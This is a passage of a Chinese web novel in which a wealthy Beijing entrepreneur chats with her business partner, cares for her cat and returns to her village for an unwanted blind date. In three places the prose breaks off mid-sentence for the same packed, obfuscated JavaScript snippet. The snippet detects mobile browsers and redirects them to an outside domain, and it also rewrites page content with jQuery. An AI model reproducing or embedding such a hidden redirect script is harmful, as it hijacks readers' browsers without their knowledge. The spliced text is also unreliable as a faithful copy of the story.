《争争不息》 1. 猫屎咖啡 喵呜...呼噜呼噜呼噜...... 清晨的第一缕阳光穿过窗帘缝隙,投在卧室的大床上,那道延伸出的光带正好落在李壮壮雪白的、印着一颗小黑心的肥腚上。 李壮壮的大爪子一下一下地扒拉女人的胳膊,大脑袋使劲蹭女人的头发,喉咙里发出呼噜呼噜呼噜的声音。 小家伙特别精,满脑袋都是心眼子,它知道妈妈醒了,刚才看见妈妈眯着眼睛偷瞄自己了。 它扒拉了半天,女人憋着笑一动不动,李壮壮见妈妈装蒜,干脆两脚一齐踩上去,十六斤的小胖子扭着厚腚趴在她身上,大爪子一张一闭配合着呼噜声踩起奶来。 女人终于憋不住,笑出声来,她伸手抚着李壮壮的后脑勺,懒懒道:“早啊,壮子哥。” 李壮壮呼噜得更欢了,大脸蛋子使劲蹭她。 听着李壮壮的呼噜声,和它的大胖身子依偎在一起,女人觉得好治愈,整个世界都变得美好了。 半晌,女人白如凝脂的小臂从被子里伸出来,她够到床头柜,拿到手机点开屏幕一看,早上八点整。 她打开手机APP,按下某一个按钮,电动窗帘缓缓滑开,阳光便热情洋溢地扑了进来。 “壮子哥,是不是没饭了?”女人抱着肥猫坐起,真丝睡衣的袖子被它挠出丝线,她看见了,却不以为意。 李壮壮可不是一只安分守己的猫,它可是号称“猫界神经病”的小奶牛,没有智力,全是体力,智障与体壮担当,别的猫需要定时驱虫,它需要定时驱魔。 李壮壮“蹭”地从妈妈怀里跳下,轻盈地蹬过真丝被,跳在光洁如新的地板上。 女人从大床上下来,光着脚来到阳台打开窗户,她闭上眼睛深吸一口清新的空气,就着阳光伸了一个大大的懒腰,微卷黑亮的长发披在柔美的背上,实在是惬意极了。 李壮壮这只诡计多端的大肥猫坐在门口朝她“喵呜”一声,意图催促铲屎官快点下楼。 女人回到床前将被子抻平,纤细的双脚随意踏拉上拖鞋,她翘着唇角跟随小猫下楼,嘴里喃喃着:“壮子哥饿啦?” 李壮壮扭着自己肥美性感的腚,顺着旋转楼梯往楼下跑,刚跑出去几节台阶又扭脸看妈妈有没有跟上,肚子上肥糯松软的幸福袋儿随着它的跑动而左右摇晃,女人从后面看着它直笑。 这是位于北京经济开发区的独栋别墅,装修风格走现代简约风,以白色为主调,整洁而华美,一楼是客厅、餐厅和健身房,二楼是主卧、书房和客卧。 偌大的开放式客厅里,一面是会客厅和瑜伽区,另一面则是宽敞的猫咪乐园。 顶到天花板的猫爬架,各种可爱造型的猫窝和猫玩具,还有一整柜的零食和营养膏,李壮壮这待遇,简直像个京城大少爷。 女人随手用发圈将长发挽起,来到一楼客厅,她先给壮壮开了猫罐罐,拿过手机打开平日爱听的播客,继而来到洗手间冲了个香香的澡。 冲完澡,洗漱完,敷上面膜,她又来到吧台给自己冲了杯蜂蜜水,一大杯水下肚,女人才感觉肠胃被唤醒。 她盘坐在瑜伽垫上,脊背挺直而修长,缓慢地按照自己的节奏练习瑜伽,练到微微出汗,她又静坐冥想了一会儿,直到李壮壮一屁股坐在她腿上才结束。 练完瑜伽,女人哼着小调给自己手冲咖啡。 干松焦香的咖啡粉被92度水流缓缓浸润,焖蒸,注水,绕圈...... 醇正浓烈的咖啡香气飘入鼻腔,真是令人心情愉悦;浅浅品上一口,烟熏里透着隐隐果香,苦味不重,甜味些许。 女人闭着眼睛享受咖啡萦绕鼻息与滚入喉间的美妙,好像她的精神在做咖啡SPA一般。 她没日没夜地连续加班半个月,班味儿浓到像是周身罩了一层黑压压的怨气,此刻经过咖啡SPA的洗礼,怨气彻底烟消云散。 这种悠闲舒适的慢节奏生活,对于她来说实在是太难得了。 客厅一角忽然传来“铛铛铛”的声响,是李壮壮正在大力地挠猫砂盆。 女人的表情呆滞一瞬,她尽量忽略这只臭猫的存在,端着咖啡舒服地仰靠在真皮沙发上。 就在这时,手机铃声不懂事儿了响了起来,她拿过手机,屏幕来电显示为「不需要猪拱的野白菜」。 她接起电话,“喂?” “李争争,起来了吗?”电话那头是她的发小儿、闺蜜兼合伙人吴琼。 她们两个认识二十年,联手创建服装贸易公司,共同缔造时尚品牌“EHCO”。 她们在公司里分工明确,李争争负责电商运营、品牌营销和直播团队管理,吴琼负责服装设计、供应链和工厂生产管理。 两个知根知底、内核相似又性格互补的姐妹,经历过人生跌宕与坎坷,互相搀扶着走到现在,实属不易。 “起来了。”李争争说,忽然一股浓重的不明气味袭入鼻腔,她捏住鼻尖咕哝:“正喝猫屎咖啡呢。” 电话那头传来幸灾乐祸的笑,“行,壮子哥又给你加佐料了,你闻着人家的佐料喝咖啡,不得给人付钱啊?” “我还给它付钱?哎哟,不行,简直臭气熏天,快把我熏晕了,我得先去给这祖宗埋粑粑。” 李壮壮这小祖宗特别有安全感,它从来不埋粑粑,更不怕粑粑气味漫天飞舞引来天敌,导致它的妈妈李争争无语又欣慰。 李争争放下咖啡杯,将通话转为外放,她来到猫砂盆前先近距离观察粑粑的成形情况,然后才拿起铲子掩埋好,并随口夸上一句:“我们壮子哥真棒,拉得一坨一坨的,跟巧克力似的。” 吴琼在电话那头儿无语凝噎,她道:“我说李总,您都那么有钱了,怎么不给它装个电动猫砂盆啊?非得天天拧着鼻子铲屎,上瘾是吗?” 李争争洗了个手回来,一边用纸巾擦手一边说:“我怎么没买过?买的还是最好的呢,静音又除臭,可是那祖宗刚进去拉完粑粑,机器一运行,就把它给吓尿闭了,我能怎么办?还不是只能宠着?” “你都把它宠坏了!” “宠坏就宠坏了吧!谁让我们是小猫咪呢?小猫咪长大了又不用混社会。”李争争的眼神又飘到壮子哥脸上,宠溺地问,“是不是啊大宝?” 李壮壮“喵呜”一声,以示回应。当年在李争争千万负债的时候,都快吃不上饭了,她都没有抛弃李壮壮,李壮壮也一直陪在她的身边,一人一猫是相依为命挺过来的,所以李争争把它当作小孩,全心全意地偏爱它。 吴琼切入正题,说:“老板,新一期的模特名单看了吗?怎么样?给个意见。” “我看了,挺好的,你问问设计师,没什么意见就按这版来吧。” “好嘞,今天不堵车了,去露营啊?” “吴总,咱们连着加了半个月的班,连一号二号都没喘口气儿,您不累啊?”李争争慢悠悠地问,她懒懒地坐回沙发,浅抿一口咖啡。 “累啊,所以出去玩儿啊。”吴琼说。 “哎哟,真比不了你,精力旺盛。” “少废话,去不去吧!” “去不了呀,我今天得回家,你猜怎么着?”李争争顿住,故意卖关子。 吴琼追问:“怎么?” “我今天回家相亲,有趣吧?” “相亲?你回家相亲?李总!李老板!你堂堂一公司董事长,咱们公司今年流水破五亿,你告诉我你要回村里相亲?”吴琼的下巴都要被惊掉了。 李争争逗她,“啊,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458766|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?” “侬脑子瓦塌啦。”吴琼最近在看《繁花》,她一土生土长的北方姑娘非跟着电视剧学上海话,她难以置信,嗲声嗲气地问:“别开国际玩笑咯,侬想组撒拉?” 李争争哈哈笑,“我回家拿户口本,给我妈打电话的时候被我姑听到了,我掐指一算她肯定会给我安排相亲。” “卧槽,你可有点儿心理准备吧!”吴琼被打回原形,操着地道的北方口音说:“我上次相亲遇见个奇葩男,一上来先送我一把塑料假花儿,紧接着就对我说别贪图他的美色,还跟我说他是一般女人得不到的男人......我刚喝的水全喷他脸上了,有意思!普信男!老娘沉鱼落雁、闭月羞花,要钱有钱,有貌有貌,我他妈脑子进了壮子哥的粑粑,我跟他去相亲!” 李争争“噗”地笑出来,差点儿把咖啡喷到沙发上。 “哎?你说说,这社会上哪儿来那么多普信男啊?我当时接了个闹钟就闪人了!留给丫一个美艳又伟岸的背影,让丫跪地仰望吧。” 李争争被她逗得前仰后合。 “还有一次我跟你说,过年的时候,我们村东头一大妈非让我见个人,推都推不掉,你知道是一什么人吗?”吴琼问。 “什么人?” “卧槽,是个植物人,死乞白咧跟我说快醒了!” 李争争哈哈大笑起来,今天一天的快乐都是吴琼给的。 “让我上演‘新婚之夜,我唤醒了我的植物人老公’吗?据说娶我过门为了给他们家冲喜。” “哈哈哈哈哈哈哈.....你真的!我的开心果,笑死我了!”李争争笑得上气不接下气,眼泪都快笑出来。 “我真服了,我他妈只是三十岁,又不是半身不遂,怎么就非得找个男人照顾我呢?”吴琼顿了一下,神情略变,眸中闪过一丝异样,她说:“不!他们就想找个男人让我照顾,给我的人生增加难度,全家人逼我相亲就是齐心协力把我往外驱逐。” “喂,你给我唱rap呢?”李争争笑着说,“我跟你说,我的情况肯定也好不到哪儿去,等我给你讲笑话吧。” “李争争,说真的,我发现很多事情都经不起推敲,一推敲就会发现是惊天大骗局。”吴琼说。 “怎么说?” “你说我一单身女人周末睡到自然醒,给自己煲汤,自己看电影,他们就说我形单影只;我姐一个已婚女人白天上班,晚上洗衣服做饭带孩子,他们说这是家庭美满?!”吴琼疑惑不解又满是感慨。 “我最近在看一本书,王慧玲的《基层女性》,书上说剖腹听起来很恐怖,加个产字就没事了,伤筋动骨一百天,剖腹产五天就出院。” “我总是被他们说什么大龄剩女,说年龄大了不好生孩子,可号召二胎三胎的时候怎么没人说?” 李争争仰靠在沙发上,叹了口气,说:“是啊,这世界就是一个巨大的爱丁堡,细思极恐啊,书上还说小时候说我是个女的,不能传宗接待;长大了说我是个女的,我得传宗接待。” “你也看这本书啊。”吴琼像是找到灵魂共鸣,继而,她霸道地说:“李争争,我告诉你啊,我有可能一辈子都不婚不育了,但是你已经在我的主轴规划里,你以后不许离开,不许远嫁,不许退出公司。” 李争争端起咖啡抿了一口,笑道:“吴总,我好像没跟你签卖身契吧?” “那我不管,将来咱们俩得一起养老,一起戴着老花镜,拄着拐杖,颤颤巍巍地去三里屯儿看帅哥,怎么样?” “行啊,那我学学怎么蹬三轮儿,到时候你坐三轮后边儿,我在前边儿给你卖力地蹬。” “哈哈哈哈哈......”吴琼哈哈大笑,“你说像咱俩这样的,爱情还重要吗?” 2. 华丽狮子 “重要啊,遇见喜欢的就爱啊,又不是爱不起,干嘛压抑自己的天性。”壮子哥悠闲地散步,经过李争争时蹭了蹭她的脚,她便弯腰将它抱在怀里。 “想像不出你谈恋爱是什么样儿,你会喜欢什么样的男人?咱们好像从来没探讨过这个问题。” “我喜欢......”李争争思考了一下,说:“干干净净的,见过世面的,有责任感的人,简单吧?” “那钱呢?需要对方有很多钱吗?”吴琼问。 “那当然了,经济能力得和我匹配吧?噢,我找个穷人,他说他爱我,然后两手空空,什么都让我负责,我图什么呀?图他愚昧懒惰?图他穷困潦倒?” 李争争顿了一下,继续说:“我跟你说,穷往往只是一个人呈现出来的表象,这个人必定他的局限性。让我用宝贵的时间、精力、财富、事业、前途去赌一个男人上下两片嘴说出来的爱?我脑袋被驴踢了吧?” “也是,我争姐打拼半辈子,早就是围猎命运的华丽狮子,对男人的要求只会越来越高。” “不是要求越来越高,是本来就不应该谈低质量男性,那些打着爱情的名义去哄小女孩的人,隔着手机屏幕敲几句甜言蜜语,什么宝贝儿啊,早安、午安、晚安,再抡起胳膊画个大饼,什么以后啊、未来啊、吃了吗、喝热水、点奶茶、送个花儿,最后再把孩子一怀,小女孩儿就被骗走了,多不值啊?” “对对对,女性独立天地宽。”吴琼也是那么想的。 李争争的腰身靠在沙发上,平淡地笑着,“姐姐,不是女性独立,是人格独立啊。” “争姐威武!”吴琼当然知道李争争是这样的人,她成年后什么大主意都自己拿,坚定地像石头,狂野地像劲草,当然争姐不喜欢劲草这个形容,她更愿意把自己形容成“死不了花儿”。 吴琼笑笑,准备挂断电话:“那什么,你回家注意安全啊,不去露营就算了,我挂了。” “行吧。”李争争刚要挂断电话,忽然想起件事儿,她问:“哎?吴大老板,还有一事儿,你联系到辛厂长了吗?” “哦,对,联系到了,她现在确实很困难,资金缺口非常大,还给我发了一些实拍图,我转给你看看。”吴琼说。 “好,你发给我。”李争争切到微信页面,点开一张张服装加工厂的照片,昏暗的环境里,身体残疾的工人们有的在蹬缝纫机,有的在理面料,有的在敲扣眼儿...... 李争争眉心跳动,她问:“你什么时候有时间?咱们去实地考察一下。” “明天?你行吗?”吴琼问。 “行啊,咱们过去先看看有什么能帮忙的,顺便了解一下厂子的产能。”李争争思考了一下,又说:“你一会儿给梁会计打个电话,让她准备出来一些钱放公户,明天看现场情况,得先解决工人们的实际困难。” “准备多少钱?五十万够吗?” “嗯......先准备一百万吧。” “好嘞。”在即将挂断电话之际,吴琼忽然叫住她,“李争争!” “啊?”李争争疑问,“怎么了?” “这种感觉幸福吗?”吴琼缓慢又柔和地问。 李争争被问得一怔,继而坦然地笑了,灿烂的阳光铺满客厅,她在阳光里慵懒歇息,黑亮如瀑的头发散在沙发背上,猫儿子趴在怀里呼噜。 有光,有家,有健康的身体,有可爱的小猫。 李争争很轻又很得意地说:“那当然!现在拥有的一切都是我一手创造的,很踏实,也很幸福。” 吴琼也笑了,欢快的声线穿透手机,她说:“哎!我们真的好了不起哦!” 挂断电话,李争争起身前往厨房,她昨天给自己预约了红豆粥,盛上一碗,软糯香甜,完美的早餐。 吃过早餐,她又给李壮壮加饭,加水,加零食,那只憨憨肥猫贱嗖嗖地围着她打转儿。 一切安排妥当,李争争才上楼到衣帽间换衣服。 面对一整墙的西装、裙子、职业套装,还有一排排的高跟鞋和一排排的大牌包包,李争争本能地感到疲倦。 她想都没想就给自己套上一身休闲装,白色的长袖T恤,舒服的黑色打底裤,在首饰架上随手拿起一条小熊项链戴上,再配上简简单单的小白鞋和斜挎胸包。 干净,自然,舒服。 换完衣服下楼,李争争把自己的证件都装进胸包里,拿上车钥匙,一转身,正好看见李壮壮跳在柜子上,两条小前腿儿扒着落地窗,正冲外面的小猫咔咔叫。 李争争走过去关好窗户,抚摸李壮壮的后脑勺,无情地说:“大哥,你被阉了,你已经断情绝爱了懂不懂?踏实儿在家做你的大少爷吧啊。” 李大壮不高兴,“嗷”了一嗓子,甩甩脑袋表示拒绝。 “哟?还挺有脾气?你老娘我每天两眼一睁就是干,换你在家里岁月静好,你还跟我发脾气?”李争争欠揍地拍它屁股。 李壮壮扭着胖身子不理她,自己往猫爬架上攀登。 李争争笑了笑,转身去铲猫砂,又去给外面的小猫加饭。 小区里有不少流浪猫,李争争在院子里搭了开放式猫咪别墅,小猫们想来就来,想走就走,来了就有吃有喝,还能遮风挡雨。有时候来的不止是小猫,还有刺猬、小狗、小兔子...... 全部忙活完,李争争才开车出发。 —— 秋天是北京最好的季节,空气清透,温度正好,湛蓝的晴空上总是缀着几朵棉花糖。 李争争沉浸在这美好的天气里,她开车上了四环,没有开空调,而是开着窗户感受微风拂过脸颊,夏日余温与秋日凉爽含混在一起,舒朗又自在。 直到开过高速收费站,她才将车窗升了起来。 果然避开高峰期出行是明智之举,高速公路上空无一车,只有李争争一个人自由驰骋。 她将油门踩在一百二十迈上下,淡定自如地飞驰在第二车道。 曲目切换,赛琳娜·戈麦斯的《whosays》从奔驰大柏林之声里喷发而出,强劲的曲调、铿锵的歌词刹时充满整个车厢,4D环绕感瞬间拉满。 这是李争争最爱的歌曲之一,她将声音调大,身体不自觉地跟着音乐而律动,唱至尽兴时整个人都快乐得要飞起来。 遥想当年,李争争刚拿到驾照,第一次开车上路时,背后有人指着她蛐蛐:“看啊,又多一个马路杀手。” 李争争听到后,毫不惯着那些人,她愤怒地冲他们竖起中指,回怼道:“FuckYou!!!” 连开车这件事都会被人指指点点,可见女性这一生要面临多少偏见。那些冲破不了牢笼的女人永远无法体会到自己掌握方向盘、听着最爱的音乐、奔赴理想目的地到底有多爽! —— 终于到家了,这是一栋建在村子里的二层小洋房,楼体质朴简单,院里种满了花儿,屋里装修的温馨敞亮。 小洋房搁现在来说不洋气了,可放十年前,能盖这种别墅风格的小二层,他们家可是村里第一户。那时李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458767|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 争争刚挣到第一笔钱,她全部给了父母,让他们把原来的三间小破屋推倒,建了现在这一栋。 踏进院门,李争争就听见姑姑在大声和妈妈说话。 李争争的妈妈王惠隔着玻璃看见她,赶忙开门迎接,“回来啦?快,快进来。” “妈,回来了。”李争争怀里抱着大箱小箱,她矮身就着妈妈掀起的门帘钻进屋子,和姑姑打招呼:“姑姑来啦。” “啊,来了,我这不等你呢嘛。” “我爸呢?”李争争把东西放下,里外转了一圈儿,问:“我爸去哪儿了?” “你爸去给你买驴肉火烧了,知道你爱吃,专门掐着点儿出门,就怕买回来不脆了。”妈妈笑着给她倒了杯水,招手道:“先过来喝杯水。” 李争争走到妈妈身边,挨着她坐在沙发上,由于太久没回来,母女之间乍一相处,充斥着亲切的陌生感,“妈,我不渴,我又不是客人,你给姑姑倒。” “我这儿有。”姑姑拿起水杯喝了一口。 “那你吃苹果。”王惠把果盘递到李争争面前,她握住女儿的手,又问:“想不想吃饺子?妈给你包饺子。” “行啊,什么馅儿的?”李争争在外面从不吃带馅儿的东西,多好的餐厅都不吃,所以她只能在妈妈这里吃到饺子。 “牛肉大葱馅儿的怎么样?我刚买回来的牛肉。”王惠问。 “行,我就爱吃牛肉大葱馅儿的。”李争争开心地说。 “那你先跟姑姑坐一会儿,妈去剁馅儿,一会儿拿到客厅来包,多跟你呆会儿。”王惠因为大女儿回来,一早上就开始慌慌,准备吃的,又准备喝的,她特别珍惜争争回来的每一分每一秒,恨不得把自己掏空了全都奉献给女儿。 姑姑李超扬了扬下巴,问李争争:“你这是买的什么呀?大箱小箱的。” “给我爸妈买的血压计和血氧仪,还有茶叶和无糖糕点,姑姑,一会儿你走的时候拿上一份,也给你买了。” “哎哟,不用不用,我就是问问。”姑姑坐在沙发上,转头上下打量她,“争争啊,你不是在北京开公司吗?女霸总回家就穿这???” 李争争被她说得低头看自己,她不明所以地问:“我回家那么穿,有什么问题吗?” 姑姑往李争争身边凑,“争争,我都跟相亲对象把牛吹出去了,我说你漂亮能干,虽然年纪不小了,可在北京也算小有成就,你看你现在穿个肥肥大大的秋衣回来,这......这还没村里的姑娘们洋气呢。” 李争争站起身,原地转了一圈儿,她两手一摊,不可置信,“姑姑,我这是oversiza风,是潮流松弛感,哪里是肥秋衣啊?再说了,见什么相亲对象?我答应了吗?” “你答不答应的,我当姑姑的不得替你操心啊,你爸爸那个样子,我还不是为了你好?家里有没有小裙子啊?快去换条裙子穿。”姑姑说。 王惠听见,从厨房里出来,她不乐意小姑子用这种语气说自己的丈夫,便打断道:“超超!” 听她这样说自己的父亲,李争争同样不悦,她道:“姑姑,别一张嘴就贬低我,我就这样,没别的衣服穿,拜见皇帝呀?见相亲对象之前,我还得秀女更衣?” 李争争假日里的好心情算是被姑姑给毁了,她真想拿上户口本儿立刻回京。 可转念一想,我才刚到家,连老爸都没见着呢,凭什么呀? 既来之,则安之。那就跟他们玩玩儿,让我看看怎么个事儿! 没错,玩玩儿! 3. 她自圆满 李争争是典型的A型血,狮子座,她敢爱敢恨,坦率洒脱,闯事业的时候霸气强势,生活上却简单又贪玩儿。 姑姑见她不乐意,勉强道:“哎呀,行吧行吧,不换就不换吧,一会儿来的小伙子在咱们当地可是做房地产的,人家是大老板,县城里有好几个楼盘都是他爸开发的,你跟人说话客气点儿啊。” 李争争眨巴眨巴大眼睛,凑到她姑面前,认真地问:“姑姑,楼盘不是他的啊,那我跟他客气什么?要不我跟他爸见见?咱也认识认识县城里的大老板?” “别瞎说,他爸都七十了,这小伙子是最小的儿子,将来肯定能接班儿,就算有一部分财产会被他那几个哥哥分走,那也瘦死的骆驼也比马大呀,肯定比你那小公司强。” 李争争简直无语死了,她在心里翻大白眼儿,表面仍然笑得和煦,装乖地问:“啊?他还有好几个哥哥呢?不会上演豪门争财产的大戏吧?好好奇,好想看戏哦。” 姑姑终于听出不对劲儿,拍了她胳膊一下,“给我正经点儿,我得跟你好好说道说道。” “嗯......不听不听。”李争争轻轻地摇头,说得乖巧又迷人。 姑姑又拍了她一下,“怎么回事儿?就你那小公司在外地,骄傲什么呀?” “姑姑,我的公司怎么说也在祖国的心脏哎,我们伟大的首都哦。”李争争只会告诉他们公司在北京,但不会告诉他们公司的经营情况及未来潜力,因为她对事业小心谨慎,相信人永远不会摧毁他们不知道的东西,所以她什么都不说,悄悄地努力,静静地收获。 “那又怎么样?又不是咱们家里的产业,再说了,咱们家祖上三代都没有做生意的,何况你是个女孩子,长得还不赖,赶紧回来嫁人得了。” 李争争叹了口气,想解释又不想认真解释,实在是浪费精力,她干脆摆烂道:“噢,我懂你意思了姑姑,你的意思是我长得还不赖,可以嫁个有钱的公子哥儿,可几年以后,我还是长得不赖,小公子哥儿还能有钱吗?房地产在走下行市场哦。” “你看,一跟你说终身大事儿,你就争言争语的,你贤惠点儿,给人留个好印象,你说你一女的,总不能老在外面漂着吧?要是能当上他们家少奶奶,那你就飞黄腾达了,到时候别忘了给你表弟安排个工作啥的。”姑姑说凑近她,拍着她的肩膀说教。 “哟?姑姑还懂什么争言争语啊?短视频没少刷吧?”李争争打趣道。 “别一天天没个正形儿。” “好嘛好嘛,我不会一直在外面漂着的。”李争争淡淡地说。 “对嘛,早晚要回来嫁人的。” 听到这话,李争争反手掐住自己的人中,仰头倒在沙发上,挣扎道:“姑姑,救命!” “跟你说正经的,昭昭的儿子都上小学了,你这个当大姐的还没嫁出去,真要砸在你爸妈手里呀?人家老三是老师,有稳定工作,多好找对象?你弟弟天赐也是,人家硕士毕业,要说谈个女朋友,结婚生孩子那还不是这一两年的事儿啊?就你,嫁不出去,跟个钉子户似的钉在这儿,你这个当老大的在前面挡着,你让他们怎么结?”姑姑语重心长地说,“这一大家子人,也就我跟你那么说,你爸你妈连管都不敢管你。” “他们该怎么办怎么办呗,管我干什么?为什么非得把我们姐弟四个绑在一起呢?每个人都有自己的意愿,是不是谁想干什么就干什么,地球就爆炸了?”李争争无语。 “你说你脑子是不是有病?怎么就跟你说不通呢?” “对对对,我有病,说不通,别说了。”李争争一点儿也不在乎别人怎么说她,别人怎么嚼咕对她都没有任何影响,她自圆满,她的世界只属于她自己,她怎么为人、怎么做选择、怎么挣钱、怎么花钱、怎么享受人生,都跟别人没有任何关系,她已经离开了‘需要别人对她进行评判,她才能找到自我定位’的人生阶段很久了,她只觉得姑姑爱说啥说啥,那是她的自由。 姑姑叹了长长的气,转移话题道:“哎哟,你爸怎么还不回来?人家客人都快来了。” 就在这时,院里进来两个人,女的走在前面,男的走在后面。 姑姑看见后立刻起身,并冲厨房喊道:“二嫂,快出来,人来了。” 姑姑笑得跟朵花儿似的上前迎接:“大妹子,来了,来来来,快进来。” “啊,来了。”走面前面的女人说。 王惠擦了擦手,出来一起招呼客人。 李争争站在人群后,一开始她还能把自己当成局外人,想要不卑不亢地旁观一下,可一见着那男的,她就想哈哈大笑。 黑、胖、秃、丑。 给她丑笑了,她也不想笑,可实在憋不住啊。 李争争心想:我这是犯了天条吗?要受那么大的罪,真想洗洗眼睛啊。 姑姑伸手一把将李争争推到人前,热情地说:“快认识一下,就叫小姑吧,是我们单位的同事,这是我外甥女儿,叫争争。” 李争争不动声色地冲人点头。 那女人上下打量李争争,然后笑道:“大外甥女儿长得真俊,来来来,这是我远房亲戚叫何奇,这小伙子可有出息了,一会儿你们俩好好聊聊。”女人又转头看向王惠,问:“这是二嫂吧?” 王惠点头微笑,“啊,对,别站着了,都到沙发上坐吧,正好新沏的茶,喝点茶水。” 大人们一番寒暄,话题就转向了年龄,那媒人伸着脖子问李争争,“闺女今年多大了?” 李争争并不想回答这个问题,只是微笑地看着对方,淡定不语,心想:我多大年纪,干你屁事? 姑姑尴尬一笑,使劲给她使眼色,奈何李争争头都不转,姑姑打着哈哈儿,“......我们争争九零年生的,是年纪不小了,今年三十四岁,小伙子多大了?” “我......我九六年的。” “哈哈......九六年的,九六年的好呀,都说女大三抱金砖,咱们这抱了两大块儿金砖,多好?”姑姑笑着打圆场。 过了一会儿,媒人建议道:“要不让两个年轻人单独聊聊?看看哪个屋儿方便,让他们俩单独相处相处。” 王惠不作声,看向李争争,似是在等女儿的意见,李争争还没做出反应,姑姑率先说:“哪个屋儿都行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14458768|154194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要不就东屋吧。” 说完,便起身拉他们两个,跟赶鸭子上架似的。 —— 东屋里,李争争和相亲男何奇面对面坐着,李争争坐在床上,何奇坐在凳子上,两个人相顾无言,尴尬丛生。 确切来说是何奇尴尬丛生,而李争争则双臂抱胸,坐得挺拔,礼貌又高傲地审视对方。 何奇一开始垂眸盯在地上,没过一会儿,他挺了挺背,用手拖着下巴,半侧着眼睛从下往上偷偷打量李争争。 这个男人在心里悄悄地给她打分儿,他盘算道:这女的长得不错,又白又瘦,眼睛还挺大,嗯......外貌能打个九分;这身高吧,身高不行,不够高,顶多...顶多也就一六五,打个六分吧;还有家世,她父母都是农民工,年老的妈,残疾......的爸,哎呀,只打听她的物质条件了,忘记她还有个残疾的爸,不行......实在是不行,家里无权无势,还有个拖油瓶老爹,指不定得花多少医药费呢,不行,打个零分...不...负十分....... 实际上,李争争的美,并不是随便哪个男人就能欣赏的。 她不是简单的白幼瘦之美,不是温柔,不是妩媚,而是眉眼清明中带着十足的英气。 她拥有饱满的额头,优越的骨相,如大地之母般端庄威严的神态,甚至让人有种俯首称臣的气场。 她的美里有一种舒展大气、掌握主宰的神韵,那是一种“纵有狂风拔地起,我亦乘风破万里”的定力,那是一种稳健、自信、清冷杂糅在一起的静气之美。 稳健是因为她经历多,经验慢慢累积,懂得事缓则圆的事物发展规律。 自信是因为她成就过事儿,打心底里散发出坚韧无畏的力量感。 清冷是因为她见过世面,没有什么东西能轻易地打动她。 可相亲男却偷偷地以世俗眼光给她打分儿,李争争朝何奇挥了挥手,那男人赤裸的眼神忽地闪躲。 李争争最讨厌男人猥琐的凝视,同时家人安排这种相亲,也着实让她感到侮辱。 他们到底怎么想的?觉得我就配得上这种低质量男人吗?简直太耻辱了。 愤怒之火在心底燃烧,李争争决定以牙还牙,面上仍然微笑,眼睛眯了眯,用同样的凝视把对方从上到下,又从下到上打量了一遍。 这男人确实要脸蛋没脸蛋,要胸没胸,要腹肌没腹肌,要长腿没长腿,简直要哪儿没哪儿,长得跟土地瓜似的,腰粗腿短大屁股圆脸,牙黄口臭胳肢窝生锈,脸上坑坑洼洼,比广进村儿的泥洼路还崎岖,两个肉眼儿就像刚用小刀划开的...... 救命啊,找那么一丑玩意儿,将来再生一丑孩子,喂奶的时候低头一看到孩子的脸,那不得拿纸巾盖上啊? 救命!还不如死了算了。 李争争觉得眼睛生疼,她实在没忍住摇了摇头,发出“啧啧”的声音。其实她可以隐忍的,在生意场上浸泡久了,她的喜怒早就不形于色,之所以发出“啧啧”声,是因为她不想向下兼容相亲这件事,更不屑于向下包容偷偷打量自己的猥琐男人。 没有必要! 4. 正直勇敢 不知道何奇是没有听到“啧啧”声,还是装作不在意,他倾身问:“你叫李争争是吧?” 李争争端坐着,眼睛直视他,落落大方地“嗯”了一声。 “外面停的车是你的?”何奇指的是院墙外停着的那辆迈巴赫GLS600。 李争争唇角微翘,“呵呵,嗯。” 果然男人更爱考量女人的物质,换句话说,男人都是精明的,他们既要女人漂亮有钱,又要女人俯首听命于他们。 何奇的眼神似是变了变,又问:“你在外面做什么的?” “摆摊儿的。”李争争端庄如斯,并不想过多废话。 “摆摊儿卖什么呀?能开奔驰?”相亲男刨根问底。 “摆摊儿卖服装。”她淡定地说。 “哦,在哪儿摆摊儿?”何奇往前探了探身子,吹牛道:“北京我熟啊,你以后遇到什么事儿跟我说,我给你搞定。” “哦,不用了,我在互联网上摆摊儿。”李争争客气地笑笑。 何奇似是看出李争争的敷衍,他从来没有见过如此有气场的相亲对象。 这个女人好看,但不单薄,身上有一种铿锵有力的强大气场,很强势但不锋芒外露,这种气场激发了何奇身为男人的征服欲。 他的目光落在李争争脸上,轻咳一声,转换话题:“你皮肤挺白的,平时都不化妆吗?” “看心情。”李争争笑着盯着他。 “哇,那么自信的吗?”他的眼神飘来飘去,说话摇头晃脑。 李争争眉心微蹙,这句话让她不爽,她顿了顿,反问道:“你平时都穿裤子吗?” “穿啊。” “哇,那么不自信的吗?”李争争说得很平静,她点开手机屏幕看时间,心想:这下该结束了吧。 